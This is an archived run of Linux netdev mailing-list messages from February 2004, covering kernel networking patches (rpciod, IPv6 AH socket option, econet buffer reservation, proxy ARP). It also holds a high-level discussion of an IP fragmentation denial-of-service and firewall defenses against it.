i18KhUKO027176 for ; Sun, 8 Feb 2004 12:43:30 -0800 Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com [172.16.52.254]) by mx1.redhat.com (8.11.6/8.11.6) with ESMTP id i18KhRb11890; Sun, 8 Feb 2004 15:43:27 -0500 Received: from devserv.devel.redhat.com (devserv.devel.redhat.com [172.16.58.1]) by int-mx1.corp.redhat.com (8.11.6/8.11.6) with ESMTP id i18KhRa19373; Sun, 8 Feb 2004 15:43:27 -0500 Received: from cheetah.davemloft.net (localhost.localdomain [127.0.0.1]) by devserv.devel.redhat.com (8.12.10/8.12.10) with SMTP id i18KgskC006460; Sun, 8 Feb 2004 15:42:54 -0500 Date: Sun, 8 Feb 2004 12:43:26 -0800 From: "David S. Miller" To: Christoph Hellwig Cc: netdev@oss.sgi.com Subject: Re: [PATCH][RFC] use completions instead of sleep_on for rpciod Message-Id: <20040208124326.2381b974.davem@redhat.com> In-Reply-To: <20040207144405.GA19416@lst.de> References: <20040207144405.GA19416@lst.de> X-Mailer: Sylpheed version 0.9.7 (GTK+ 1.2.10; sparc-unknown-linux-gnu) X-Face: "_;p5u5aPsO,_Vsx"^v-pEq09'CU4&Dc1$fQExov$62l60cgCc%FnIwD=.UF^a>?5'9Kn[;433QFVV9M..2eN.@4ZWPGbdi<=?[:T>y?SD(R*-3It"Vj:)"dP Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 3114 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev Content-Length: 664 Lines: 16 On Sat, 7 Feb 2004 15:44:05 +0100 Christoph Hellwig wrote: > The rpciod shutdown code gives ugly sleep_on without BKL warnings in > -mm. And it looks indeed somewhat racy. > > The easy fix would be to simply use a completion as in the patch below, > but that removes all the signal fuzzing semantics the current code has. > I don't really understand why we want to cancel the operation by > signals, but I think it'd be better to leave that to people familar with > the code anyway.. I think your patch is fine, and there are no signal issues (such code looks merely to be some abberation rather than anything else). So I've added it to my tree. From davem@redhat.com Sun Feb 8 12:45:33 2004 Received: with ECARTIS (v1.0.0; list netdev); Sun, 08 Feb 2004 12:45:37 -0800 (PST) Received: from mx1.redhat.com (mx1.redhat.com [66.187.233.31]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i18KjVKO027554 for ; Sun, 8 Feb 2004 12:45:33 -0800 Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com [172.16.52.254]) by mx1.redhat.com (8.11.6/8.11.6) with ESMTP id i18KjTb12729; Sun, 8 Feb 2004 15:45:29 -0500 Received: from devserv.devel.redhat.com (devserv.devel.redhat.com [172.16.58.1]) by int-mx1.corp.redhat.com (8.11.6/8.11.6) with ESMTP id i18KjTa19922; Sun, 8 Feb 2004 15:45:29 -0500 Received: from cheetah.davemloft.net (localhost.localdomain [127.0.0.1]) by devserv.devel.redhat.com (8.12.10/8.12.10) with SMTP id i18KiukC007087; Sun, 8 Feb 2004 15:44:57 -0500 Date: Sun, 8 Feb 2004 12:45:28 -0800 From: "David S. Miller" To: Gandalf The White Cc: netdev@oss.sgi.com Subject: Re: Fragmentation Attack Message-Id: <20040208124528.2c667378.davem@redhat.com> In-Reply-To: References: <20040207094524.495e883d.davem@redhat.com> X-Mailer: Sylpheed version 0.9.7 (GTK+ 1.2.10; sparc-unknown-linux-gnu) X-Face: "_;p5u5aPsO,_Vsx"^v-pEq09'CU4&Dc1$fQExov$62l60cgCc%FnIwD=.UF^a>?5'9Kn[;433QFVV9M..2eN.@4ZWPGbdi<=?[:T>y?SD(R*-3It"Vj:)"dP Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 3115 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev Content-Length: 814 Lines: 17 On Sat, 07 Feb 2004 12:00:42 -0600 Gandalf The White wrote: > The requirements of the attack (from the perspective of the paper I wrote) > was that you had taken over 20 cable modem computers. From this viewpoint > this could (of course) produce the required number of packets IMHO. > > Of course you could also clog up the bandwidth of just about any destination > network with this requirement, but that is a different DoS. Yes, but this very fact makes the "DoS" much much less interesting. If I can clog your link anyways with arbitrary traffic, who cares what it does as a second order effect, the machine is made unreachable and unusable either way. Also, these half-complete ICMP packets are really super easy to create firewall rules for to block them at ingress of a major site. From davem@redhat.com Sun Feb 8 12:58:25 2004 Received: with ECARTIS (v1.0.0; list netdev); Sun, 08 Feb 2004 12:58:28 -0800 (PST) Received: from mx1.redhat.com (mx1.redhat.com [66.187.233.31]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i18KwOKO028020 for ; Sun, 8 Feb 2004 12:58:25 -0800 Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com [172.16.52.254]) by mx1.redhat.com (8.11.6/8.11.6) with ESMTP id i18KwJb17234; Sun, 8 Feb 2004 15:58:19 -0500 Received: from devserv.devel.redhat.com (devserv.devel.redhat.com [172.16.58.1]) by int-mx1.corp.redhat.com (8.11.6/8.11.6) with ESMTP id i18KwJa23200; Sun, 8 Feb 2004 15:58:19 -0500 Received: from cheetah.davemloft.net (localhost.localdomain [127.0.0.1]) by devserv.devel.redhat.com (8.12.10/8.12.10) with SMTP id i18KvkkC011106; Sun, 8 Feb 2004 15:57:47 -0500 Date: Sun, 8 Feb 2004 12:58:18 -0800 From: "David S. Miller" To: yoshfuji@linux-ipv6.org Cc: kuznet@ms2.inr.ac.ru, netdev@oss.sgi.com Subject: Re: [RFC,PATCH] remove IPV6_AUTHHDR socket option / ancillary data Message-Id: <20040208125818.02eba2f5.davem@redhat.com> In-Reply-To: <20040208.141117.116936870.yoshfuji@linux-ipv6.org> References: <20040208.141117.116936870.yoshfuji@linux-ipv6.org> X-Mailer: Sylpheed version 0.9.7 (GTK+ 1.2.10; sparc-unknown-linux-gnu) X-Face: "_;p5u5aPsO,_Vsx"^v-pEq09'CU4&Dc1$fQExov$62l60cgCc%FnIwD=.UF^a>?5'9Kn[;433QFVV9M..2eN.@4ZWPGbdi<=?[:T>y?SD(R*-3It"Vj:)"dP Mime-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by oss.sgi.com id i18KwOKO028020 X-archive-position: 3116 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev Content-Length: 664 Lines: 21 On Sun, 08 Feb 2004 14:11:17 +0900 (JST) YOSHIFUJI Hideaki / $B5HF#1QL@(B wrote: > AH is now handled by the XFRM engine. > IPV6_AUTHHDR socket option / ancillary data are deprecated. > > For sender side, it is very difficult (or even almost impossible) to > create "correct" AH in userspace. > For receiver side, none set opt->auth and user space application > never get authentication data. > > IPV6_AUTHHDR is very Linux-specific and applications which use > these feature are not portable at all. I totally agree, I didn't even know this broken thing existed to be honest. Let's kill this now. Patch applied, thanks Yoshfuji. From davem@redhat.com Sun Feb 8 13:03:10 2004 Received: with ECARTIS (v1.0.0; list netdev); Sun, 08 Feb 2004 13:03:14 -0800 (PST) Received: from mx1.redhat.com (mx1.redhat.com [66.187.233.31]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i18L39KO028439 for ; Sun, 8 Feb 2004 13:03:10 -0800 Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com [172.16.52.254]) by mx1.redhat.com (8.11.6/8.11.6) with ESMTP id i18L36b18946; Sun, 8 Feb 2004 16:03:06 -0500 Received: from devserv.devel.redhat.com (devserv.devel.redhat.com [172.16.58.1]) by int-mx1.corp.redhat.com (8.11.6/8.11.6) with ESMTP id i18L35a24383; Sun, 8 Feb 2004 16:03:06 -0500 Received: from cheetah.davemloft.net (localhost.localdomain [127.0.0.1]) by devserv.devel.redhat.com (8.12.10/8.12.10) with SMTP id i18L2XkC012727; Sun, 8 Feb 2004 16:02:33 -0500 Date: Sun, 8 Feb 2004 13:03:04 -0800 From: "David S. Miller" To: yoshfuji@linux-ipv6.org Cc: kuznet@ms2.inr.ac.ru, netdev@oss.sgi.com Subject: Re: [Q] LL_RESERVED_SPACE(dev) vs HH_DATA_ALIGN(dev->hard_header_len) Message-Id: <20040208130304.5df8e2c3.davem@redhat.com> In-Reply-To: <20040208.203930.36073978.yoshfuji@linux-ipv6.org> References: <20040208.203930.36073978.yoshfuji@linux-ipv6.org> X-Mailer: Sylpheed version 0.9.7 (GTK+ 1.2.10; sparc-unknown-linux-gnu) X-Face: "_;p5u5aPsO,_Vsx"^v-pEq09'CU4&Dc1$fQExov$62l60cgCc%FnIwD=.UF^a>?5'9Kn[;433QFVV9M..2eN.@4ZWPGbdi<=?[:T>y?SD(R*-3It"Vj:)"dP Mime-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by oss.sgi.com id i18L39KO028439 X-archive-position: 3117 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev Content-Length: 1356 Lines: 40 On Sun, 08 Feb 2004 20:39:30 +0900 (JST) YOSHIFUJI Hideaki / $B5HF#1QL@(B wrote: > Question: > How do you think about the following patch? > Or, is it okay to simply use LL_RESERVED_SPACE(dev) in both places? LL_RESERVED_SPACE() is what should be used in both spots. I checked in the following patch, thanks for noticing this. # This is a BitKeeper generated diff -Nru style patch. # # ChangeSet # 2004/02/08 12:58:29-08:00 davem@nuts.davemloft.net # [ECONET]: Use LL_RESERVED_SPACE() where applicable. Noticed by yoshfuji. # # net/econet/af_econet.c # 2004/02/08 12:58:13-08:00 davem@nuts.davemloft.net +2 -2 # [ECONET]: Use LL_RESERVED_SPACE() where applicable. Noticed by yoshfuji. # diff -Nru a/net/econet/af_econet.c b/net/econet/af_econet.c --- a/net/econet/af_econet.c Sun Feb 8 12:59:08 2004 +++ b/net/econet/af_econet.c Sun Feb 8 12:59:08 2004 @@ -318,12 +318,12 @@ #ifdef CONFIG_ECONET_NATIVE dev_hold(dev); - skb = sock_alloc_send_skb(sk, len+dev->hard_header_len+15, + skb = sock_alloc_send_skb(sk, len+LL_RESERVED_SPACE(dev), msg->msg_flags & MSG_DONTWAIT, &err); if (skb==NULL) goto out_unlock; - skb_reserve(skb, (dev->hard_header_len+15)&~15); + skb_reserve(skb, LL_RESERVED_SPACE(dev)); skb->nh.raw = skb->data; eb = (struct ec_cb *)&skb->cb; From davem@redhat.com Sun Feb 8 13:07:04 2004 Received: with ECARTIS (v1.0.0; list netdev); Sun, 08 Feb 2004 13:07:08 -0800 (PST) Received: from mx1.redhat.com (mx1.redhat.com [66.187.233.31]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i18L74KO028855 for ; Sun, 8 Feb 2004 13:07:04 -0800 Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com [172.16.52.254]) by mx1.redhat.com (8.11.6/8.11.6) with ESMTP id i18L71b20293; Sun, 8 Feb 2004 16:07:01 -0500 Received: from devserv.devel.redhat.com (devserv.devel.redhat.com [172.16.58.1]) by int-mx1.corp.redhat.com (8.11.6/8.11.6) with ESMTP id i18L71a25328; Sun, 8 Feb 2004 16:07:01 -0500 Received: from cheetah.davemloft.net (localhost.localdomain [127.0.0.1]) by devserv.devel.redhat.com (8.12.10/8.12.10) with SMTP id i18L6SkC013825; Sun, 8 Feb 2004 16:06:29 -0500 Date: Sun, 8 Feb 2004 13:07:00 -0800 From: "David S. Miller" To: OGAWA Hirofumi Cc: netdev@oss.sgi.com Subject: Re: [PATCH] af_unix: Fix path of /proc/net/unix Message-Id: <20040208130700.4e225134.davem@redhat.com> In-Reply-To: <878yjf2wx7.fsf@devron.myhome.or.jp> References: <878yjf2wx7.fsf@devron.myhome.or.jp> X-Mailer: Sylpheed version 0.9.7 (GTK+ 1.2.10; sparc-unknown-linux-gnu) X-Face: "_;p5u5aPsO,_Vsx"^v-pEq09'CU4&Dc1$fQExov$62l60cgCc%FnIwD=.UF^a>?5'9Kn[;433QFVV9M..2eN.@4ZWPGbdi<=?[:T>y?SD(R*-3It"Vj:)"dP Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 3118 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev Content-Length: 331 Lines: 10 On Sat, 07 Feb 2004 16:03:48 +0900 OGAWA Hirofumi wrote: > We should overwrite the first "nul" by "@" in the case of abstract > path, otherwise currently "netstat -x" can't print, at least. And > normal one, odd "nul" was added. > > This patch does behavior of 2.4. Please apply. Applied, thanks. From davem@redhat.com Sun Feb 8 13:08:19 2004 Received: with ECARTIS (v1.0.0; list netdev); Sun, 08 Feb 2004 13:08:23 -0800 (PST) Received: from mx1.redhat.com (mx1.redhat.com [66.187.233.31]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i18L8JKO029218 for ; Sun, 8 Feb 2004 13:08:19 -0800 Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com [172.16.52.254]) by mx1.redhat.com (8.11.6/8.11.6) with ESMTP id i18L8Cb20586; Sun, 8 Feb 2004 16:08:12 -0500 Received: from devserv.devel.redhat.com (devserv.devel.redhat.com [172.16.58.1]) by int-mx1.corp.redhat.com (8.11.6/8.11.6) with ESMTP id i18L8Ca25552; Sun, 8 Feb 2004 16:08:12 -0500 Received: from cheetah.davemloft.net (localhost.localdomain [127.0.0.1]) by devserv.devel.redhat.com (8.12.10/8.12.10) with SMTP id i18L7dkC014217; Sun, 8 Feb 2004 16:07:40 -0500 Date: Sun, 8 Feb 2004 13:08:11 -0800 From: "David S. Miller" To: Kazunori Miyazawa Cc: yoshfuji@linux-ipv6.org, mika.penttila@kolumbus.fi, netdev@oss.sgi.com, usagi-core@linux-ipv6.org Subject: Re: [PATCH][IPV6][NDISC] unify ipv6 output routine Message-Id: <20040208130811.328225e7.davem@redhat.com> In-Reply-To: <200402071333.51909.kazunori@miyazawa.org> References: <200402070232.33771.kazunori@miyazawa.org> <4023D6FB.9010909@kolumbus.fi> <20040207.131455.27570445.yoshfuji@linux-ipv6.org> <200402071333.51909.kazunori@miyazawa.org> X-Mailer: Sylpheed version 0.9.7 (GTK+ 1.2.10; sparc-unknown-linux-gnu) X-Face: "_;p5u5aPsO,_Vsx"^v-pEq09'CU4&Dc1$fQExov$62l60cgCc%FnIwD=.UF^a>?5'9Kn[;433QFVV9M..2eN.@4ZWPGbdi<=?[:T>y?SD(R*-3It"Vj:)"dP Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 3119 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev Content-Length: 71 Lines: 3 Is a fixed version of this output path unification patch coming soon? From gandalf@digital.net Sun Feb 8 13:12:42 2004 Received: with ECARTIS (v1.0.0; list netdev); Sun, 08 Feb 2004 13:12:48 -0800 (PST) Received: from lakemtao07.cox.net (lakemtao07.cox.net [68.1.17.114]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i18LCfKO029628 for ; Sun, 8 Feb 2004 13:12:42 -0800 Received: from [192.168.1.94] ([68.13.240.115]) by lakemtao07.cox.net (InterMail vM.5.01.06.05 201-253-122-130-105-20030824) with ESMTP id <20040208211236.KJMJ2432.lakemtao07.cox.net@[192.168.1.94]>; Sun, 8 Feb 2004 16:12:36 -0500 User-Agent: Microsoft-Entourage/10.1.4.030702.0 Date: Sun, 08 Feb 2004 15:12:36 -0600 Subject: Re: Fragmentation Attack From: Gandalf The White To: "David S. Miller" CC: Linux IPStack Message-ID: In-Reply-To: <20040208124528.2c667378.davem@redhat.com> Mime-version: 1.0 Content-type: text/plain; charset="US-ASCII" Content-transfer-encoding: 7bit X-archive-position: 3120 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: gandalf@digital.net Precedence: bulk X-list: netdev Content-Length: 2166 Lines: 45 Greetings and Salutations: On 2/8/04 2:45 PM, "David S. Miller" wrote: > On Sat, 07 Feb 2004 12:00:42 -0600 > Gandalf The White wrote: >> The requirements of the attack (from the perspective of the paper I wrote) >> was that you had taken over 20 cable modem computers. From this viewpoint >> this could (of course) produce the required number of packets IMHO. >> >> Of course you could also clog up the bandwidth of just about any destination >> network with this requirement, but that is a different DoS. > Yes, but this very fact makes the "DoS" much much less interesting. > If I can clog your link anyways with arbitrary traffic, who cares > what it does as a second order effect, the machine is made unreachable > and unusable either way. Exactly. So I was discounting the "clog your connection" attack. What I was looking at is if someone has a fast machine that they can send a regulated amount of packets to and test out the fragment attack that would be good. I suspect that this attack would still spike the CPU on a machine at a relatively low (a few hundred) packets per second rate. On a web server or other Internet Facing machine that has a decent load this could be enough CPU overhead to create a DoS. > Also, these half-complete ICMP packets are really super easy to create > firewall rules for to block them at ingress of a major site. The attack has ICMP, UDP and TCP. If you were seeing a specific signature over and over again then I agree that it might be easy to block (depending on the firewall) ... But ... If someone were sending fragments destined for port 80 to your web server I don't see how you could differentiate between "real" fragments going to the web server and faked fragmentation requests. Ken --------------------------------------------------------------- Do not meddle in the affairs of wizards for they are subtle and quick to anger. Ken Hollis - Gandalf The White - gandalf@digital.net - O- TINLC WWW Page - http://digital.net/~gandalf/ Trace E-Mail forgery - http://digital.net/~gandalf/spamfaq.html Trolls crossposts - http://digital.net/~gandalf/trollfaq.html From davem@redhat.com Sun Feb 8 13:14:25 2004 Received: with ECARTIS (v1.0.0; list netdev); Sun, 08 Feb 2004 13:14:29 -0800 (PST) Received: from mx1.redhat.com (mx1.redhat.com [66.187.233.31]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i18LEPKO030079 for ; Sun, 8 Feb 2004 13:14:25 -0800 Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com [172.16.52.254]) by mx1.redhat.com (8.11.6/8.11.6) with ESMTP id i18LEIb22290; Sun, 8 Feb 2004 16:14:18 -0500 Received: from devserv.devel.redhat.com (devserv.devel.redhat.com [172.16.58.1]) by int-mx1.corp.redhat.com (8.11.6/8.11.6) with ESMTP id i18LEIa26540; Sun, 8 Feb 2004 16:14:18 -0500 Received: from cheetah.davemloft.net (localhost.localdomain [127.0.0.1]) by devserv.devel.redhat.com (8.12.10/8.12.10) with SMTP id i18LDjkC015752; Sun, 8 Feb 2004 16:13:45 -0500 Date: Sun, 8 Feb 2004 13:14:17 -0800 From: "David S. Miller" To: Julian Anastasov Cc: netdev@oss.sgi.com, kuznet@ms2.inr.ac.ru Subject: Re: Change proxy_arp to respond only for valid neighbours Message-Id: <20040208131417.4f8693de.davem@redhat.com> In-Reply-To: References: X-Mailer: Sylpheed version 0.9.7 (GTK+ 1.2.10; sparc-unknown-linux-gnu) X-Face: "_;p5u5aPsO,_Vsx"^v-pEq09'CU4&Dc1$fQExov$62l60cgCc%FnIwD=.UF^a>?5'9Kn[;433QFVV9M..2eN.@4ZWPGbdi<=?[:T>y?SD(R*-3It"Vj:)"dP Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 3121 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev Content-Length: 391 Lines: 13 On Sun, 8 Feb 2004 22:44:05 +0200 (EET) Julian Anastasov wrote: > Comments? This is a dicey situation in that when the entry does become valid this does not trigger a proxy arp by us, does it? I guess the original requestor will redo the request, so I'm just mentioning this in passing. This is an area where admittedly I'm not well versed. So proxy ARP experts speak up :) From davem@redhat.com Sun Feb 8 13:18:28 2004 Received: with ECARTIS (v1.0.0; list netdev); Sun, 08 Feb 2004 13:18:32 -0800 (PST) Received: from mx1.redhat.com (mx1.redhat.com [66.187.233.31]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i18LIRKO030743 for ; Sun, 8 Feb 2004 13:18:28 -0800 Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com [172.16.52.254]) by mx1.redhat.com (8.11.6/8.11.6) with ESMTP id i18LIRb23539; Sun, 8 Feb 2004 16:18:27 -0500 Received: from devserv.devel.redhat.com (devserv.devel.redhat.com [172.16.58.1]) by int-mx1.corp.redhat.com (8.11.6/8.11.6) with ESMTP id i18LIRa27374; Sun, 8 Feb 2004 16:18:27 -0500 Received: from cheetah.davemloft.net (localhost.localdomain [127.0.0.1]) by devserv.devel.redhat.com (8.12.10/8.12.10) with SMTP id i18LHskC017051; Sun, 8 Feb 2004 16:17:54 -0500 Date: Sun, 8 Feb 2004 13:18:26 -0800 From: "David S. Miller" To: Gandalf The White Cc: netdev@oss.sgi.com Subject: Re: Fragmentation Attack Message-Id: <20040208131826.104eaef4.davem@redhat.com> In-Reply-To: References: <20040208124528.2c667378.davem@redhat.com> X-Mailer: Sylpheed version 0.9.7 (GTK+ 1.2.10; sparc-unknown-linux-gnu) X-Face: "_;p5u5aPsO,_Vsx"^v-pEq09'CU4&Dc1$fQExov$62l60cgCc%FnIwD=.UF^a>?5'9Kn[;433QFVV9M..2eN.@4ZWPGbdi<=?[:T>y?SD(R*-3It"Vj:)"dP Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 3122 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev Content-Length: 1216 Lines: 24 On Sun, 08 Feb 2004 15:12:36 -0600 Gandalf The White wrote: > The attack has ICMP, UDP and TCP. If you were seeing a specific signature > over and over again then I agree that it might be easy to block (depending > on the firewall) ... But ... If someone were sending fragments destined for > port 80 to your web server I don't see how you could differentiate between > "real" fragments going to the web server and faked fragmentation requests. In this day and age, and with all the headaches fragmentation causes (either directly or indirectly via these resource consumption DoS's) we may soon be reaching the point where only talking to sites doing path-MTU discovery (yes, even for UDP) is a valid decision for a big site. This would solve the problem in a hurry. For TCP I think people can do this today. For UDP, what do you need fragmented UDP for, DNS queries? I think not for those types of usage, and even streaming voice or whatever UDP uses chop up the datastream themselves spitting out a non-fragmented time transmitted line of packets looking sort of ATM'ish. Fragmented ICMP should just be blocked at firewall for people concerned about this, I see no valid use of this. From yoshfuji@linux-ipv6.org Sun Feb 8 13:25:16 2004 Received: with ECARTIS (v1.0.0; list netdev); Sun, 08 Feb 2004 13:25:22 -0800 (PST) Received: from yue.hongo.wide.ad.jp (yue.hongo.wide.ad.jp [203.178.135.30]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i18LPGKO031232 for ; Sun, 8 Feb 2004 13:25:16 -0800 Received: from localhost (localhost [127.0.0.1]) by yue.hongo.wide.ad.jp (Postfix) with ESMTP id 9A7AC33CA5; Mon, 9 Feb 2004 06:26:10 +0900 (JST) Date: Mon, 09 Feb 2004 06:26:09 +0900 (JST) Message-Id: <20040209.062609.55856700.yoshfuji@linux-ipv6.org> To: davem@redhat.com Cc: kazunori@miyazawa.org, mika.penttila@kolumbus.fi, netdev@oss.sgi.com, usagi-core@linux-ipv6.org Subject: Re: [PATCH][IPV6][NDISC] unify ipv6 output routine From: YOSHIFUJI Hideaki / =?iso-2022-jp?B?GyRCNUhGIzFRTEAbKEI=?= In-Reply-To: <20040208130811.328225e7.davem@redhat.com> References: <20040207.131455.27570445.yoshfuji@linux-ipv6.org> <200402071333.51909.kazunori@miyazawa.org> <20040208130811.328225e7.davem@redhat.com> Organization: USAGI Project X-URL: http://www.yoshifuji.org/%7Ehideaki/ X-Fingerprint: 9022 65EB 1ECF 3AD1 0BDF 80D8 4807 F894 E062 0EEA X-PGP-Key-URL: http://www.yoshifuji.org/%7Ehideaki/hideaki@yoshifuji.org.asc X-Face: "5$Al-.M>NJ%a'@hhZdQm:."qn~PA^gq4o*>iCFToq*bAi#4FRtx}enhuQKz7fNqQz\BYU] $~O_5m-9'}MIs`XGwIEscw;e5b>n"B_?j/AkL~i/MEaZBLP X-Mailer: Mew version 2.2 on Emacs 20.7 / Mule 4.1 (AOI) Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-archive-position: 3123 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: yoshfuji@linux-ipv6.org Precedence: bulk X-list: netdev Content-Length: 385 Lines: 11 In article <20040208130811.328225e7.davem@redhat.com> (at Sun, 8 Feb 2004 13:08:11 -0800), "David S. Miller" says: > > Is a fixed version of this output path unification patch > coming soon? No. The second patch from Miyazawa-san is fine. -- Hideaki YOSHIFUJI @ USAGI Project GPG FP: 9022 65EB 1ECF 3AD1 0BDF 80D8 4807 F894 E062 0EEA From ja@ssi.bg Sun Feb 8 13:35:34 2004 Received: with ECARTIS (v1.0.0; list netdev); Sun, 08 Feb 2004 13:35:37 -0800 (PST) Received: from u.domain.uli (ja.mac.ssi.bg [217.79.71.194]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i18LZSKO031676 for ; Sun, 8 Feb 2004 13:35:32 -0800 Received: from localhost (localhost [127.0.0.1]) by u.domain.uli (8.12.10/8.12.10) with ESMTP id i18LcCxC025921; Sun, 8 Feb 2004 23:38:14 +0200 Date: Sun, 8 Feb 2004 23:38:12 +0200 (EET) From: Julian Anastasov X-X-Sender: ja@u.domain.uli To: "David S. Miller" cc: netdev@oss.sgi.com, kuznet@ms2.inr.ac.ru Subject: Re: Change proxy_arp to respond only for valid neighbours In-Reply-To: <20040208131417.4f8693de.davem@redhat.com> Message-ID: References: <20040208131417.4f8693de.davem@redhat.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-archive-position: 3124 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: ja@ssi.bg Precedence: bulk X-list: netdev Content-Length: 972 Lines: 32 Hello, On Sun, 8 Feb 2004, David S. Miller wrote: > This is a dicey situation in that when the entry does become > valid this does not trigger a proxy arp by us, does it? Yes, currently it works in this way, when target replies we do not propagate this answer to the proxy_queue. But this is not fatal becuase we apply delay in the answer which means we have time to resolve the target. If we do not have answer in that time we simply drop the skb from proxy_queue. The requestor can send next requests and we reply each that request only if the target is in valid state. > I guess the original requestor will redo the request, so I'm Yes, the skbs from proxy_queue are removed in time, they do not stay there until we have answer for them. > just mentioning this in passing. This is an area where admittedly > I'm not well versed. > > So proxy ARP experts speak up :) Yep, lets see what Alexey and other gurus think Regards -- Julian Anastasov From ja@ssi.bg Sun Feb 8 14:41:52 2004 Received: with ECARTIS (v1.0.0; list netdev); Sun, 08 Feb 2004 14:41:55 -0800 (PST) Received: from u.domain.uli (ja.mac.ssi.bg [217.79.71.194]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i18MfjKO002966 for ; Sun, 8 Feb 2004 14:41:49 -0800 Received: from localhost (localhost [127.0.0.1]) by u.domain.uli (8.12.10/8.12.10) with ESMTP id i18MiQxC026197; Mon, 9 Feb 2004 00:44:29 +0200 Date: Mon, 9 Feb 2004 00:44:26 +0200 (EET) From: Julian Anastasov X-X-Sender: ja@u.domain.uli To: "David S. Miller" cc: netdev@oss.sgi.com, kuznet@ms2.inr.ac.ru Subject: Re: Change proxy_arp to respond only for valid neighbours In-Reply-To: <20040208131417.4f8693de.davem@redhat.com> Message-ID: References: <20040208131417.4f8693de.davem@redhat.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-archive-position: 3125 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: ja@ssi.bg Precedence: bulk X-list: netdev Content-Length: 321 Lines: 18 Hello, On Sun, 8 Feb 2004, David S. Miller wrote: > So proxy ARP experts speak up :) I found that it is better not to delay answers to unicast probes. In case I change other things, I'll keep latest version of this patch here: http://www.ssi.bg/~ja/tmp/ arp_proxy-*.diff Regards -- Julian Anastasov From schwab@suse.de Sun Feb 8 17:34:40 2004 Received: with ECARTIS (v1.0.0; list netdev); Sun, 08 Feb 2004 17:34:49 -0800 (PST) Received: from Cantor.suse.de (ns.suse.de [195.135.220.2]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i191YSKO013794 for ; Sun, 8 Feb 2004 17:34:29 -0800 Received: from hermes.suse.de (Hermes.suse.de [195.135.221.8]) (using TLSv1 with cipher EDH-RSA-DES-CBC3-SHA (168/168 bits)) (No client certificate requested) by Cantor.suse.de (Postfix) with ESMTP id 9D1B9181006; Mon, 9 Feb 2004 01:50:53 +0100 (CET) Received: by sykes.suse.de (Postfix, from userid 597) id 0CA0B15B2D5C6; Mon, 9 Feb 2004 01:50:50 +0100 (CET) To: "cramerj" Cc: "Andi Kleen" , , Subject: Re: Bad UDP checksum with 82540EM References: <101E0EB68A545748974019DC227C554007CBDD@orsmsx406.jf.intel.com> From: Andreas Schwab X-Yow: Psychoanalysis?? I thought this was a nude rap session!!! Date: 